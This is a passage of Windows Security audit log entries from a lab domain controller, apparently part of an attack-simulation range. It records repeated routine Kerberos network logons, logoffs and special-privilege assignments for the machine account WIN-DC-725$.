- SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248548 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8C5F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248547 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB8C5F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63953 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248546 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8C5F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248545 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8BFE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248544 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB8BFE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63952 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248543 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8BFE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248566 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8EB7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248565 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB8EB7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63959 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248564 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8EB7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248563 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8E56 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248562 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB8E56 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63958 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248561 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8E56 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248560 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8DF0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248559 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB8DF0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63957 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248558 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8DF0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248557 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8D8F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248556 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB8D8F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63956 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248555 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB8D8F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248578 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB986C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248577 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB986C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63963 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248576 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB986C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248575 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB97F7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248574 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB97F7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63962 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248573 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB97F7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248572 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB9785 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248571 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB9785 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63961 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248570 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB9785 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248569 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB9714 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248568 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB9714 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63960 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): 